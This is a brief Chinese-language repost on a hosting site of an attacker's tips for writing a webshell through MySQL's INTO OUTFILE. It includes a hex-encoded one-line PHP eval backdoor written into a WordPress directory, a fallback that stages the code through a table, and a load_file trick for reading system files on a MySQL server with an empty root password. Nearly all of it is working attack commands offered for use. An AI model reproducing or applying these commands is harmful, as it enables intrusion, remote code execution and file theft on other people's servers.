鸿 网 互 联 www.68idc.cn

当前位置 : 服务器租用 > 网站安全 > 安全设置 > >

数据库outfile写shell一点心得

来源:互联网 作者:佚名 时间:2015-10-19 08:40
一点心得: 昨天在一个mysql数据库的console里面直接导出一句话的时候 用这种网上说的直接写出不成功 select 0x3c3f706870206576616c28245f524551554553545b636d645d293b3f3e into outfile e://appserv//www// 91ri.org //modules//wordpress//app.php; 还是
一点心得:
昨天在一个mysql数据库的console里面直接导出一句话的时候
 
用这种网上说的直接写出不成功
 
select 0x3c3f706870206576616c28245f524551554553545b636d645d293b3f3e into outfile 'e://appserv//www// 91ri.org //modules//wordpress//app.php'; 
 
 
 
还是老老实实建表再写 :
 
select code from text into outfile 'e://appserv//www// 91ri.org //modules//wordpress//app.php'; 
 
 
 
而且对于windows一定得用上面这样的形式的绝对路径
网上的大部分都是说的linux下的
 
=========================================
刚碰到一个root空口令的MySql,进phpMyAdmin,outfile成功,但是无法load_file。如下解决:
建表:
create table test (a text);
insert into test (a) values (load_file(‘c:boot.ini’));
select * from test;
成功解决。
 
 
原文:http://nana.blackbap.org/?p=archive&id=21
 
网友评论
<